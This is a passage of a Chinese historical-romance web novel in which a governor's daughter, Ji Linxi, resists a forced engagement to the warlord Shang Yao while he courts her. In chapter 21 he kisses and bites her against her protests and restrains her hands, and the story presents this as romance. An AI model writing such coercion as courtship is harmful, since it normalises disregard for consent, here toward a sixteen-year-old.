今夜姬昱出去陪友人用饭,只李芝兰在绣一面团扇,见她冲进正屋,抬起头。
临溪明显心事重重。
“翩翩?”李芝兰走过来,摸她脑后,“他怎么说?”看见唇上明显异样的红,只作不知。
“都怪洛阳那些狗皇帝。”临溪忽然道,“如果不是他们乱来,让国家乱成这样,就没有这么多人打仗,他就不会来凉州了。”
李芝兰失笑:“你倒真会想远。不如怪自己长得太好看呢。”
“怀璧其罪。”临溪不认,心慌意乱,低下脑袋去,“我不想成婚。”
“女子总是要成婚的。”李芝兰拖了胡床坐在她身侧,柔声劝导,“你年底就算十七了。近一年我本就在给你留意郎君,想着满了十九二十,再好好嫁出去。只是不防凉州有此变故,君侯愿意下聘——他是真想下聘啊,昨日才同你父亲说,今日就来要你八字。也太利落了些。”
临溪睁大眼睛:“都没有问名!也没有婚雁!”
“说了。说近两日不得空,过几日再亲自去围猎,然后就请韩将军作为婚使送雁来。”李芝兰嘴角一撇,“我同你父亲都不知说什么好。这人做事是想好就做,开了头就做完的架势。”
临溪猛地伏在桌上,脸颊埋进手臂里。
“你莫不是还想着竞初?”李芝兰好奇,“翩翩,这两人实在不能一起比。要我直说,荀将军比不了。”
“不就是权势地位不同?”临溪不服气,闷着嗓音反驳,“这根本就不一定。嫁给皇帝可能红颜薄命,嫁给农夫也能够安稳一生。女子之姻亲,万般皆是命。”
“哪能这样说?年岁就不同。”李芝兰驳道,“一个三十一,一个十九岁,且我看君侯容貌身量也更好。他真是高,你才到人家肩下。”
临溪怒道:“我还会长的!”
“好好好。你会,你会长。”李芝兰哄道,“总之最后都是要嫁人。嫁一个最好的,也不会后悔。你仔细想,是也不是?”
21. 翩翩
“翩翩还没起?”姬昱搬来食案,“不是说今日去挑女使?”
“她就是不想要。”李芝兰闷声回,“说万一中途又出事,愧对人家一生。”
姬昱抿一下唇:“你别纵着她。年底就走了,没有女使陪嫁怎么行。此番是去晋阳,一路都在君侯治下,能有什么意外。”
李芝兰叹气:“那我替她挑。”
“挑两个父母双亡的。”
姬临溪连发髻都没绑,披着素色长衫,游魂一样飘进来,冷不丁开口。
姬昱看她。
“因战乱或饥荒,去给人家做小工的那种女娘。机灵一些,比我小两三岁即可。”临溪倒在案边,口中木木道,“无父无母无亲眷,跟着我就算更惨,也惨不到哪里去了。”
“跟着翩翩不会更惨的。”李芝兰瞬间看出这是虽然嘴毒,实则有所松动,不由眉开眼笑,“去了晋阳完婚,你就是侯夫人,家中女主人。近身女使怎么会惨?”
临溪一言不发,托腮盯着案几桌面。
李芝兰从旁看女儿,只觉满眼一片莹白,杏眼双眸如水,鼻梁又恰到好处起一处高耸斜峰,唇瓣不点而朱。额心鼻尖下颌三点同弧而连,骨骼挺直而向内收窄,脸颊其余截面少得像是连腮红也抹不住,浑然天成的精巧漂亮。
一时情不自禁,脱口道:“我女真是成也容貌,败也容貌。”
“恐怕是败在性情。”姬昱调侃,“今日邬先生提及,说待你到晋阳,让商家大翁主亲自教你规矩。可见是多……”
“阿父的意思是,配合一副哭哭啼啼弱不禁风的样子就好了?”临溪打断,“我长得好,再这般性格,早被欺负得骨头也不剩。轮得到商长叙?”
“你怎么知道他的字。”姬昱转头,“我同你说过吗?”
临溪一顿,甩一甩脑袋:“鬼知道。”
李芝兰低头一笑。
入夜,临溪披上一件薄氅,靠坐在院中竹榻,仰头数着星星。
李芝兰端一碗热汤,在她身侧坐下:“翩翩在想什么?”
“真的没有其他选择吗。”临溪依旧望着天幕,“我不是讨厌他。但问自己,似乎暂时也不想看别处星宿。”
李芝兰垂眸,静了一静:“阿母满意他。”
“那时他兵临城下,阿母领我逃命,不是这样说的。”
“那时我也不知他未婚配,还愿意以正妻之位娶你。”李芝兰道,“翩翩,你别怄气。你我这样的落难州牧家庭,他再喜欢,也完全可以不娶的。”
“难道要我感恩戴德吗?”临溪抱住膝头,低声道,“他根本不是拿我当人看。你们不懂。”
“那样用心地救你了,怎么还这样想。”李芝兰抬手拍拍她背,“他喜欢你,阿母不会看错。你放心。”
“我这张脸,哪个男人不喜欢?”
这话也就姬临溪说。说出来了,旁人也无法辩驳。
“真的可以过得好吗?”
临溪也不知自己在问谁,怔怔说了出口,又将脸埋回膝弯:“我从未去过晋阳。”
“所以我说,要你讨他欢喜。”李芝兰靠近,耐下性子开导,“女子在夫家,只有和夫君同心同德,才能把日子过下去。你想想他这样冷硬的性情——跟任何人从没有一句软话,只要他愿意,会护不住你吗?什么妯娌婆媳,乍一听吓唬人,但凡夫君肯顶在前头,女子就一点委屈不必受了。”
姬临溪一动不动。
“这也是我最满意之处。”李芝兰抱过她脑袋,“他那个秉性,别说女眷,任何人来了都护得住你——再没有比这个更让我满意的了。翩翩,你这样的容貌,嫁错了人,一旦城破,还是可能重蹈覆辙。此番遇刺,你也应当明白了,光靠自己是多难。由他护你,阿母放心。”
见临溪到底没有反驳,心知这一次直面死亡的恐惧对她还是触动极大,心下又怜又不舍,将人再往怀里抱一抱:“若有来世,翩翩也做枭雄,到时再犟。今生,阿母就替你做主,选最好的。”
无论如何,叫姬临溪主动是不能够的。要么躲在房里哪也不去,要么从后门溜走去武堂市集,总之绝不从前院衙署过,不去碰面。直到又过一候,韩朔清晨送来定婚雁,傍晚下值时,商曜叫住姬昱。
“有几份西羌文书,译文有缺。”他难得温和,“还请使君帮助。”
姬昱应一声:“我用过饭就来替君侯讲解……”见对方无动于衷,眉心一动,明白了。
姑臧这种河西道要地,不缺译者。连他麾下的桑烨桑元椋,出自金城郡,羌语亦是很流利的。
归家后就把临溪拖起来,吩咐道:“成天赖在屋里!横竖晚上你也无事,去帮君侯译几份羌人文书。用点心,不要出错。”
“衙署没有译者?”临溪不理会,“桑长史会,阿父也会。你这么殷勤,你怎么不帮他?”
“你——”姬昱不跟她计较,转向李志兰,“穿紫色那套襦裙,再给你女儿梳个发髻。懒懒散散,像什么样子。”
李志兰干咳一声。
姬临溪嗤归嗤,好歹是让人摆弄了。梳妆这事说来也残忍,本是为了添美,但只有美人每多做一步,美才即刻更明显一分。
李志兰亲手上了花钿和口脂,惊艳摇一摇头,脱口道:“翩翩真是——美不胜收。好姿容。”
好姿容拿上剑,冷冷推开门页。
商曜抬头时,目光亦一怔。
临溪提起裙裾,去窗下小案前坐下,毫无起伏的语气:“哪些。”
“桌上那三卷。”他起身过来,抱胸看着她,“你今日很漂亮。”
坦坦荡荡的欣赏语气。赞完俯下身,高挺鼻梁一闪而过,提前拿走了她的剑,防备丢到一旁。
临溪手一顿,头也没抬:“用你说?”
铺开一卷竹简,伸手提笔。
他却跟着坐下来,指着一处问:“什么意思?”
“‘皇帝陛下’。”临溪垂着眼,冷冰冰解释,“这是一封信。钟狼羌更换首领,自以为是给洛阳皇帝写的一封信。言辞冒昧挑衅,我父亲不欲生事,按下没有发。钟狼在羌人中只是很小的一个部落,不了解中原局势而已,连汉文都不带,足见无知。没有大错。”
商曜静静望着她眉眼。
“那这卷还要译吗?”临溪手指蜷缩,“你要,我就写。”
“你今日,”他开口,“很乖。不对劲。”
“我父母一定要我嫁给你。”临溪侧一侧脸,“你也救过我。我没有力气跟你争了。”
她这种话,他一个字都不会信。下意识就看向她袖间,总感觉即使提前拿走剑,下一刻还会伸出匕首。
但这次似乎是真的。
她不说话,专心写字,模样更是恬静柔美得一塌糊涂。他心里又被轻轻戳一下,忽然道:“你父亲对我用美人计。”
临溪看他一眼。
忽然放下笔,面对面转向他,认真发问:“你从前去幽州冀州,或你晋阳城内,没有臣属献过美人吗?”
“献过。”他欣赏她的面庞,懒懒答了,“都无用。”
临溪讽道:“翩翩受宠若惊。”
他抬起手,碰一碰她的脸:“你为什么不高兴?”
“难道你高兴?”
“尚可。”商曜点头,抱胸反问,“还在想荀竞初?姬临溪,你癖好就不对。”
“你在胡说什么——根本同他无关。”临溪转回去,语气倔强,“我根本不知道嫁人是何种际遇,就必须要嫁人。谁会高兴?”
他还是耸一下肩膀。
临溪握紧笔,轻声道:“你才是真正的铁石心肠。”
他微微笑起来,身体靠近,扯一扯竹简:“这一句是什么?”
“你是要我译还是要学?”临溪避开,“别烦
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我。走开。”
“你对我这么蛮横,”他看一看她,语气慢悠悠,“为什么一脸被欺负的样子?”
她反唇相讥:“是谁同我说,看世间事要追本溯源?”
他依旧快意地笑,从后将人搂进怀里,低头就咬住耳垂:“翩翩——取得真好。”
痛楚袭来,临溪咬牙忍住,硬是一声不吭。
他埋在她颈项里啃,大手也搂住小腹,反复把人往怀里摁紧。她一直不给回应,他就重重咬痛她。
“够了……”临溪忍不住,抬手推拒,“痛。滚开。”
她只说这种话,没有跟他动手,已是极温柔的一面了。他满意,满意到温柔命令:“转过来。”
她知道他要什么,一动不动。
“我会待你好。”他忽然抬手,抚摸她的发梢,“也会护你一世平稳安宁。”
见人沉默,伸手转她肩膀,重新抱到膝上,低头靠近,语调虽平,到底极难得地生出一分亲昵:“小娘子快些想开。”
她抬手挡了一下,被捉住手心别去腰后,被迫露出完整面颊。眉眼依旧垂着,嘴巴坚决不饶:“你少骗我,世上没人骗得了我。我想开了,对你服帖,你很快就腻味。”
“不会。”他哄一句,弯腰去亲她的嘴唇。含住再抱近一寸,大手一上一下,覆盖她整面瘦削脊背,欺开唇瓣。
吻至她双唇麻木,又埋首去颈间咬那处肌肤。每咬一寸,就急切去往另一寸,最后索性将少女整个身体抱高,紧紧托在臂弯里。
临溪想躲,腰后忽被一摁:“感觉到了?”
“竖子!”她恶狠狠骂,“下流!”
救命之恩点到为止,抬手就想给他耳光。他握住她手腕,压在两人腹间,作为礼貌阻隔,低声允诺:“我等成婚。”
再看不出她态度松动,他比她多吃的这三年饭也是无用。不过商曜心中清楚,姬临溪会如此,同什么情不情意、取不取舍都无关,纯粹是她怕死。
连死都不怕,就太过头了。
他不在意。连她喜欢别人他都不在乎,何况这些无关紧要的小事?
将临溪抱在臂弯里,侧头以脸颊去摩挲她颊面上的绒毛,片刻后再度开口:“你听话些。”他实在不放心这犟种。
姬临溪抬起他手臂,张嘴就咬。他忍住了没有出声,在她松口时一掌掐起她下巴,重重吻回去。
这回不许她再乱动,卡着双手绑去腰后,一只手紧紧摁住,另一只手向下去压住她双膝。只一味亲她,亲到她呜咽,恳求他让她呼吸,方才放过。
四目相对,临溪慢慢红了眼睛。
他失笑:“怎么了。”
她一落泪,他难免心肠柔软,指腹捏捏她的脸颊,垂首以额头贴着额头:“你说服你父母去晋阳陪,不开心随时归娘家去。再没有什么好怕吧?”
他思来想去,家中只有一个女儿的门庭实在太少,又不得不远嫁。和寻常女子出嫁心情不同,应当是这个缘故。
临溪怔怔。
“屋舍你去选,当聘礼附赠。”他又道,“还想要什么?”
她看着他,承认他是一个很好看且有权势的年轻男子,却依旧固执道:“我不告诉你。走开。”
“那不能怨我了。”商曜并不逼问,只伸手拢她碎发,“抗拒交流是最无用的赌气手段。不过,随你。”
“你——”
他又低头,在她唇上轻轻亲了一下。
神色依旧平静,不见热情与迷恋,但她至少确定那是温和而耐心的质地。怔了一怔,忽然问:“你为何忽然下决心娶我?”
“不为何。”
他收回手,随意打开一卷竹简,垂下眉眼:“我不告诉你。”
临溪伸出食指,愤愤要戳。
他不用看她都猜到会是这个动作,直接抬手一并,将她纤润指腹捏在手心里,唇角微扬。
22. 萤灯
“这是山,这是河。”临溪写给他看,侧过头,“——你在听吗?”
那眼神分明定在她脸上。
商曜收回视线,抬腕写给她看。
“你到底有什么事。”她问,声音平淡,“这几份文书根本都不重要。非叫我过来做什么?”
他睨她一眼,冷冷反问:“未婚夫妻培养感情,如何?”
“作怪。”
临溪把竹简一扣,瞪回去:“我不跟你耍这些花招!我要归家去了。”
提起裙裾就要走,被扯住手腕,丢回怀里。他近乎咬牙道:“你简直是木头。”
“我只是聪明!”临溪毫不犹豫,直直看他,“谁要做傻瓜掏心掏肺,就为配合你一时兴起?”
商曜一怔。她已经扯回袖衽,叠竹简时拍卷出响声。
他好像明白了。
临溪起身。
衙署堂屋和后宅不过数丈距离,她也熟悉,之前都是径自回家去,今日却先去取角灯,检查里头蜜蜡燃烧情况。随后提起,也不瞧他,转头走了。
他望一望空掉的角灯位置,若有所思。
姬临溪进屋,放下灯,转进内室。确认外间无人,这才将床下的木箧抱出来。
坐以待毙这四个字,此生和她是不会有一丁点干系的。
怕归怕,她承认她怕,也承认自己本事不够。只要来个九尺壮汉,多么使劲也得等死。
但这都不是草率嫁人的缘由。
自幼打的平安玉镯,色泽清透明亮,这就很值钱了。换成银钱,少说也能花用半年。更不说还有许多簪饰耳饰一类,银质也有一些。
昨日去武堂也同轻鸿说好,趁赵家一位姨母还在娘家看顾老先生,有女眷照拂,她跟过去躲一阵。躲到商曜回晋阳,再悄悄归家。
检查完毕,心安三分。倒在榻上,又想起那些喁喁耳语。
这人也是怪得很。
和温柔毫无关联,和残暴也没有。
和老道不沾边,也并不青涩。
完全不热烈,但也不冷漠。
她看不懂,一点不懂。索性拉起被衾,牢牢盖住脑袋。
总之三十六计,走为上。
次日,李芝兰又来叫她去选女使。
“我都说了不要了。”临溪趴在窗下,“不去。”
“这可是陪嫁啊。”李芝兰坐下,“你不去,阿母替你做主了。”
“什么陪——”
临溪一顿,回道:“阿母挑吧。我信阿母。”
李芝兰眼中一喜,试探问:“你愿意了?”
“又轮不到我不愿意。”
她真说愿意,李芝兰反而不信。听了这话,心中放松:“想开就好。那我去挑,带回来,再让你取名。”
姬昱已去衙署做事,待李芝兰一走,姬临溪猛地翻身跳起来,拖出包袱背好,鬼鬼祟祟从后门出去。
直接到了穆家武堂,将包袱丢在案上。
“其实不必这么紧张。你真要缺什么,我给你买就是了。”轻鸿关上门,回来倒水,“你别太担心。”
“你这么有钱吗?”
轻鸿点一点头:“是啊。”
临溪无言,打开包袱整理。轻鸿想一想,又问:“你不想嫁给他?”
“当然不。”临溪摇头,“嫁给他就要去晋阳了。老天!我连并州都没去过。”
转脸猛地靠近轻鸿,皱一皱鼻子:“那晋阳还在并州偏北的地方,离姑臧很远,且靠近匈奴。”
“也不算北吧。”轻鸿跟着皱眉,不过愣了一愣,又道,“你竟然只说远,没有骂他。”
临溪也愣一下。倏地坐直,切一声道:“我懒得骂。”
“你一点也不喜欢他吗?”轻鸿好奇,“那天他骑马带人出城,我看见玄旗就出去瞧。很高啊,长得也好……”
看临溪忿忿脸色,立刻改口:“不丑。”
“不喜欢!”临溪一拍桌,“浪荡子!”
轻鸿撇一撇嘴:“那好吧。”
自己又高兴起来:“不过,我是舍不得你去晋阳的。你留在姑臧,我们还可以一起玩。”
临溪也笑弯眼睛:“你放心。等我到安宁县你外祖家,看看他状况,就给你写信。”
夜间归了家,李芝兰领着两名十五岁上下的小娘子过来见礼。
“从前那些贱名就不说了。”李芝兰按着两人肩膀,“翩翩,你好好取。”
两人向姬临溪屈膝:“女公子。”
她又不会嫁,但人都到家里来了,也不能再送走。姬临溪挠挠眼睛,认真看一看二位女娘,一人清秀沉着,一人那眼睛骨碌碌在转。
“这位叫,”临溪手心朝着安静些的那位,“‘望舒’。寓意是,为月亮驾车的神祇。”
明显是在用心取名,没有像旁的人家那样,叫一个什么二娘打发。望舒清清浅浅一笑:“是,女公子。”
“你叫——”临溪背手,走过去一步,清清嗓子,“‘菀青’。菀彼青青,是草木旺盛的意思。”
菀青也高兴,咧开嘴:“是,女公子!”
“翩翩还是读了些书。”李芝兰温和笑道,“明日我带她们做两身衣裳,以后再教一些常用文字。时间不多,走前教那么一两百个也就是了。”
又转向望舒:“你们是要陪娘子嫁去晋阳的,我说过了的。都记住了吧?”
二人齐齐点头。无父无母,晋阳和姑臧没有什么分别。能进使君家做事,还是给女公子陪嫁,好歹不必再挨饿。
姬临溪在心里丢了个白眼。
待李芝兰离去,临溪抱胸坐在桌面:“去不去晋阳的,以后再说。现下,我只有一句话跟你们讲。”
望舒领着菀青屈膝:“女公子请讲。”
“跟着我是可以的。”临溪一顿,“有我一口饭,自然也有你们一口汤。反正只要我活着,绝不会叫自己的侍女生存难以为继。”
“但我只有一个要求。”
“若是哪天,忽然发生什么变故,不必拼死护着我。”临溪垂眸,望着地面,静静道,“能跑的时候,就立刻跑掉,不必管我。明白了吗?”
望舒和菀青对视一眼。
“我比你们都强,不需要也不稀罕谁为我献出性命。”临溪眨眨眼,逼退雾气,果断抬脸,“听懂就应一声。”
菀青还在困惑,望舒扯一扯她,颔首回话:“是,女公子。”
“好了。”临溪示意,“去厢房睡吧,我不要人伺候守夜。”
正坐在地上擦拭剑身,姬昱敲门:“翩翩。”
他也有些为难:“君侯递话,说要见你。”
“他作的什么怪?”临溪头也不回,“滚去看看时辰。”
“他近来白日不在衙署,晚上确实耽搁了。”姬昱尴尬侧开身,“说只要你一炷香时间。你去吧,我和阿母会等你归家。”
姬临溪深呼吸,抓过越女剑,又将新买的短匕塞了两把在腰里
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,最后顺走剪子藏进袖间,大步离开。
她是打算抬腿踹的,不想堂屋已经开了门。背过手走进去,又在心里向他丢了个白眼:“何事。”
商曜转过身。
临溪心里一跳。今日怎么人模狗样的?长身一件玄素云纹直裾深衣,袍服以暗银织就麒麟踏云,腰缀一组青玉镂雕螭虎带钩,骨簪穿过发冠,修长、清俊又英挺。
色诱。下作。临溪暗骂一句,抬起脖颈:“到底何事?”
他望着她,倒是微微一笑:“骑装很好看。”
“用你说?”她避开视线,“有话快说,扰人清梦。”
他走到木架旁,忽然抬手熄了灯。
她张口就要骂,蓦地怔住。
眼前升起一种幽幽的、正在游弋的蓝色荧光。
“早前听闻凉州边地有一种萤虫,夜间闪烁蓝光,指引宵行。”男子声线亦是清泠,“拿去。”
临溪手心一抵,下意识捏住被递过来的角灯长柄。
他站在一臂外,轻声道:“归家去吧。”
他的声音像是忽然地,有了近乎蛊惑的温润和柔软。临溪低下头,去看那角灯。原本是一座双角连枝,角叉悬挂小油盏。这时油盏内被取空,不留烛芯,只有小虫翕动振翅。
蓝光有时汇聚,有时游开,在盏外留下影一般的迷离画作。
临溪呆呆看着。
手背一热。
他牵她出门,也趁握紧她手时,将角灯木柄妥帖摁进掌心,清冷声音吹进檐下风里:“姬临溪。”
“你当真看不出来吗?”
临溪别开脸。
他忽然笑,一直笑,以至于双肩微动:“剑,匕首,交股剪。”
语气调侃:“小娘子待我还是那么亲厚。”
临溪不自觉攥紧灯柄,倔强回道:“因为你就这样讨厌!我发过誓,今日你再亲我,我一剑叫你回晋阳去……”
鼻间忽然涌来一阵草木香气。
他拥抱了她。
只是靠近,然后抬手,按住肩后,这样纯粹而清冽的拥抱。避开她举灯的那只手,弯腰抱着她,低声开口:“萤虫微光,世间俗事,但是有用。对吧?”
临溪从未这样地心跳如鼓,从未这样清晰地觉察,自己正是十六岁,亭亭玉立在梢头。
他拥抱她,也就拥抱她的剑和匕首。掌心用了力,尺度控制在确保她脊背温热、避免她心中抵触之间,嗓音轻缓:“晋阳夜间也这样凉。”
忽然就松开手去了。
临溪这才想起要呼吸,狼狈移开视线。商曜抬起手,指腹捏一捏她脸颊,目光沉静:“归家去吧。小娘子好梦。”
她头回没有在他放过后就落荒而逃,咬唇反复数次,最终还是什么也没有说。攥着角灯,脚步近乎凌乱,迅疾到了二门内,猛地靠去墙边,大口大口喘气。
月色流泻,以一道圆形门隔开院落明暗。少女紧紧藏在近处树影之下,高大男子默然立于那头檐下。虽非近处,亦不遥远。
临溪平复呼吸,这才鼓起勇气,探头探脑出去。
隔着朦胧月光和微弱萤火,那道身影却越发地和修长和明晰了。
她又倏地藏回去。
商曜颔首,唇角几不可查地一抬,率先侧身。那深衣边缘在地上投落锯齿模样的影,影也消隐。
她又偷偷探出脑袋。
这回终于没有再看见人。
只低下头时,萤火却依旧。
23. 少年
却说商曜进了帅帐,邬逊一步迎上前,满目欢喜之色:“少主公!好事!何敞找到了。”
商曜一扬眉。
“云深已经扣下了。”邬逊口中云深,正是车骑将军卫棋卫云深,雁门郡人士。
“他好生狡诈。”邬逊跟到案前,口中感叹,“主公猜他躲在哪里?羌人在金城郡的商队!平日就躲在那地窖之中吃喝拉撒,半步不出,全靠羌人供养。”
“奇人。那是如何找到?”商曜坐下,抬起脸问。
“实在坐不住了,以为金城风平浪静,又托人往洛阳送信。”邬逊道,“如今金城衙署不再批发去洛阳的过所,只有那些旧驿使出得去。云深一直盯着,见有羌人频繁安排送信,方察觉不对。”
商曜沉吟片刻,只道:“我明日就动身。”
邬逊点一点头:“仲康已等着少主公了。”
想起桑烨,又道:“少主公一定带上元椋。我去同他说。”
商曜点头:“我知晓。”
邬逊离开几步,又回过头:“方才是从女公子处回来?”
商曜望他一望。
邬逊微笑道:“佳人在侧。不会舍不得?”
“不会。”商曜低下眼睛,口吻温和,“要带回晋阳的。有什么舍不得。”
邬逊眸光一深。
*
萤虫从夜间游到天明,姬临溪也失眠整整一宿。
昨日最后,她放下角灯,一路追到府外马厩,冲着他的背影大吼:“谁许你对我做这些莫名其妙的事?”
商曜解着照夜白缰绳,头也不回答:“我要你允许?”
翻身上马,隔着月色朦胧,遥遥看她。
她生生气红脸颊。
被强行亲吻都没有这样生气,因此也就不知,这嫣红是不是纯粹的怒意。
他冲她笑了一下,指腹再点点唇角,慢悠悠提醒:“只是今夜不。明日太阳出来,我就不演了。”
顿了一顿,语气又有些淡下来:“非君子命。装模作样,难受。”
她愣在原地,他已经转头,利落策马。却在途径她时,侧空身体伸出手臂,温柔揉一揉她毛茸茸的发顶。
一触即走,只喉咙里笑出一声,回身勒住缰绳,抬起下巴看她。也只看一霎,随即挺直脊背,头也不回,疾驰而去。
姬临溪终于反应过来,在院里重重跺脚,虚空踹向前方空气。
现下足跟踹在廊柱,痛得临溪呲牙咧嘴。
将望舒吓了一大跳,抱着木盆,不安出声:“女公子?”
临溪回过身。
“女公子醒了。”望舒眉眼一弯,“夫人出门了。可要吃些什么?我很会做饭。”
临溪点点头:“我喜欢吃面。”
菀青坐在一旁陪用饭,始终眼也不眨地盯着。望舒忍不住了,警告推她一下。
临溪捏着木箸:“有事就说。”
“女公子真的太太太太太太——好看了。”菀青吞了下口唾,真心实意,“真是好漂亮。”
望舒抿唇偷偷笑开。
临溪被夸多了,但小女娘用如此之多的“太”字,到底脸红了下:“油嘴滑舌。”
“才没有。”菀青大着胆子回,“女公子就是很漂亮很漂亮。”
临溪“哎呀”一声,抬手挡住一边侧脸:“行了。哄我我又不能给你们涨月钱。”
“不为月钱也得说呀。”菀青托脸,欢天喜地,口无遮拦,“天下州郡,每每战败,州牧能献女就会献女,又不新奇。那都是只能给新君做妾的,可我们女公子就能去晋阳做侯夫人——”
望舒一把捂住她嘴,惊慌看向临溪。
临溪咬着面条,笑意慢慢没了。
菀青眨一眨眼,反应过来失言,吓得要跪。被临溪扯住,无所谓道:“你也是实话实说,无非不好听。下次别再说了。”
以方巾擦擦嘴,走出去三步,又回过头,戳出手指:“再加一条,惹我生气,好好说就行。不许动不动下跪。”
背过手去,溜回房坐下,呆呆盯着角灯。
他没有说过这蓝色萤虫要怎么喂。按寻常萤火虫推断,大多萤虫成年后就很少再吃东西,只偶尔需要花露。
临溪提起角灯来到树丛边,蹲下身,打开灯盏,将萤虫轻轻拨进去。
为她亮过一夜就很好了,萤虫大多寿数极为短暂。
姬临溪想到这里,又被自己伪善到矗起肩膀。她都杀过人了,去心疼萤虫做什么?
拍一拍手,利落站直,对上李芝兰含笑目光。
心下又不自在起来,挠一挠耳朵:“阿母。”
李芝兰招手。
“虽知他大约是经高人指点,有意讨好。”她护着临溪双肩,捋一捋女儿碎发,“肯用心就好。”
临溪低下头。
“翩翩也很开心。是吧?”李芝兰笑意愈浓,“我瞧出来了。”
临溪还是不说话。
“他还同你父亲说,若是不放心,我夫妇二人可陪你移居晋阳。”其实也明示过长安,这话李芝兰按下不表,“不过兹事体大,你父亲恐怕不肯。但这是寻常人家万万给不出的礼遇了,你得信他真心。”
临溪这才仰起眼睛。
“我信。”她脆生生道,“可是真心很快就会变的。”
李芝兰怔了一下。
“若在姑臧,他变了,我就回家来,我也不怕。但在别处,我没有家。即使你们放下一切陪我,仰人鼻息住他屋舍,依旧不是家。”
临溪已经转过身去,两只手心在腰后揪着,一蹦一跳地回去寝房。
李芝兰蹙眉,叫了望舒过来。按一按她肩膀,低声嘱咐:“近日看好女公子。若有收整行囊迹象,立刻来报。”
望舒认真应下。夫人说过女公子性情顽劣,举止作风和容貌大相径庭,有多美就有多闹,她并不意外。
但接下去几日倒风平浪静。姬临溪成日倒在窗下大声念孙子兵法,教她们写数字、日期和名字,最多拿弓箭吓一吓小菀青,并没做什么出格的事。
李芝兰放下心来,也就照常出门,同姑臧城诸位官宦夫人交际。临溪出门拜访穆家女郎,望舒和菀青也不必跟着。
“我的天啦。”轻鸿听完,真诚感叹,“他在讨你欢心。”
临溪坐在案前拔一支枯草:“小惠未遍,民弗从也!一支灯而已,谁在意。”
“这比其他的都好啊。”轻鸿坐下,眼睛发亮,“像我这种有钱的人,就想要旁人巧思哄我。”
“那是你有钱。”临溪咕哝,“当然了,他送我钱,我也不会欢喜。”
倾身小声:“我让你帮我送出去的信,送了吗?”
“送了。”轻鸿郑重点头,“去张掖的信,一寄一回,要十多日呢。”
“其实也没什么。”临溪唇角撇一撇,“就是从前荀竞初送我的那柄薄翼双刃,找不回来了,我想让他再送两把来。那个防身好用。”
听见两把,轻鸿眯着眼睛笑。见临溪神色苦恼,好奇问道:“你打算何时去我外祖家?”
“拿到刀就去。”临溪拍桌,“我再不能让他欺负我!”
她话说得雄赳赳,晚间姬昱敲门时,心脏本能一紧:“我不——”
“阿父有其他事。”姬昱摆一摆手,“君侯不在姑臧。先前金城的护羌校尉藏匿民间,如今他麾下谋臣传信,说抓到了。他动身去处置。”
怪不得连着几日没有一点动静,临溪低头,摆弄手里的短匕:“何事呢。”
“他带你回晋阳之后……”
临溪把短匕一丢。
姬昱一顿,继续道:“翩翩,你需知天下局势。如今他虽掌有北方诸州,也如你所说,终究不是中原腹地。且我凉州边远,非嫡系人脉,届时在他晋阳城,你一言一行,或许举足轻重。”
“阿父省省吧。”临溪直直看
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回去,“他只是年轻,又不鲁莽。你看他像被内宅妇人左右政见的人物?”
“我没要你左右,我只是要你至少保住凉州今日安定。”姬昱凝神道,“我预计明年关中还会有战事,凉州未必就能自保。他若不肯庇护,你嫁过去,是为什么?”
临溪把玩匕首:“兴许等不到明年呢。”
“你这孩子。”姬昱也是无奈,“无论如何,他提出以正妻之礼迎娶,是很难得的,你没有吃亏。嫁过去后,要悉心经营夫妇关系,趁他待你这股劲头还在,好好维护,同君侯父母兄弟,也要一一处理妥当……”
“送客。”姬临溪起身,推父亲往外,“一套一套。阿父去维系吧。”
听着就来气。
思前想后,次日立刻又送出去几件首饰。收拾时叮铃哐啷,望舒恰好在外间,犹豫一下,出声询问:“女公子有事吗?”
“无事。你别进来。”临溪谨慎,“整理妆台罢了。你去忙吧。”
望舒默然片刻,去了李芝兰房中。
“你是个伶俐孩子。”李芝兰颔首,又叹一声,“这女娘,一身骨头打不碎似的。”
望舒屈膝。
她转头就告诉了姬昱,姬昱也毫不意外:“怕什么了?她跑不掉的。无非是靠穆家商队,我叫守卫一见就扣下。”
“你这个女儿……”李芝兰莫名笑了,“误打误撞。也只有商侯能应对,寻常男子实在降不住。”
“喜欢的时候才叫应对。”姬昱一哂,“不喜欢了,就叫打发。”
他明白事理,也不妨碍他促成女儿嫁走。过了两日终于又在衙署碰上邬逊,收一收袖衽上前:“先生。”
邬逊对姬昱并没有多少好眼色,礼节性打了个哈哈:“使君。”
“君侯这一走,也有好几日。”姬昱观他脸色,“金城可是有变?”
邬逊微笑:“使君有所不知,少主公这个人,偶尔行事活泼些,但防备心一直极重。对有些人,可以宽待,但有些人,是宁可错杀也不放过的性情。”
姬昱一哽。
“不过姬使君日后是岳丈了。”邬逊语调不冷不热,“令媛温柔贤淑、秀外慧中,想来到了晋阳,也能适应得很好。”
摆明了只是不好多说,实则内心不大看得上翩翩。听不出嘲讽,姬昱也是白活一场。温温笑了一笑:“内子自会教好一切,不会叫君侯失望。”
晚间归家用饭时,姬昱不动声色打量临溪骨相眉眼,心下渐渐有了想法。
“你打小就《广陵散》学得最好。”姬昱夹了一片羊炙进临溪碗中,温和开口,“这两日尽快捡起来。下旬城中入冬飨宴,各家女郎郎君都可献艺,你也去。”
“我不干这样的事。”临溪撇撇嘴,咬住羊肉不答应,“弹琴做样子,给谁看?”
“又不是真看你弹琴。”姬昱平静道,“并州军快走了,但总归要留下一些官吏善后,共同处置冬季边防事务,飨宴无非为表两州友好。我是刺史,家中总要出个人领头。我老胳膊老腿,剑舞是挥不动了。”
李芝兰和丈夫对了下眼神,了然于胸,打配合道:“翩翩,阿父仕途有用,不可添乱。”
从前接见他郡使节,众人抚琴或剑舞为宴饮助兴,的确很寻常。姬临溪只怀疑一瞬,还是无可无不可点头:“知晓了。”
正屋内,李芝兰一边卸耳饰,一边望向镜中:“老狐狸。”
“我总要让他们明明白白地知道,我女何以被唤作凉州明珠。”姬昱哼一声,“真以为说话大声,举止粗鲁,性情桀骜,美就不是美了?”
“你这说的,什么叫粗鲁——再说,谁疑过翩翩美了。”李芝兰叹气,“不都说她是靠一张脸,得了君侯的姻亲。”
“这邬向明。”姬昱放下木简,沉声道,“拖着非要回去晋阳再定亲,届时都是他的人脉,还不知会不会生变。他看不上翩翩如何?擒贼只需擒王,我还不拿他当回事。”
24. 主君
金城郡治允吾县外,城郊军营。
武猛都尉张广正在踱步,神色焦灼。卫棋不由开口:“将军不必忧虑,少主公一定会亲自来的。”
“是,是,我知道。”张广点着头,又站住脚步,“卫将军!君侯如何处置何敞,我绝无二话。但——但——”
卫棋礼貌颔首:“将军请讲。”
“但何敞是何敞,金城是金城,凉州是凉州。”张广捏住双手,“我知道你们和他有血仇。但——”
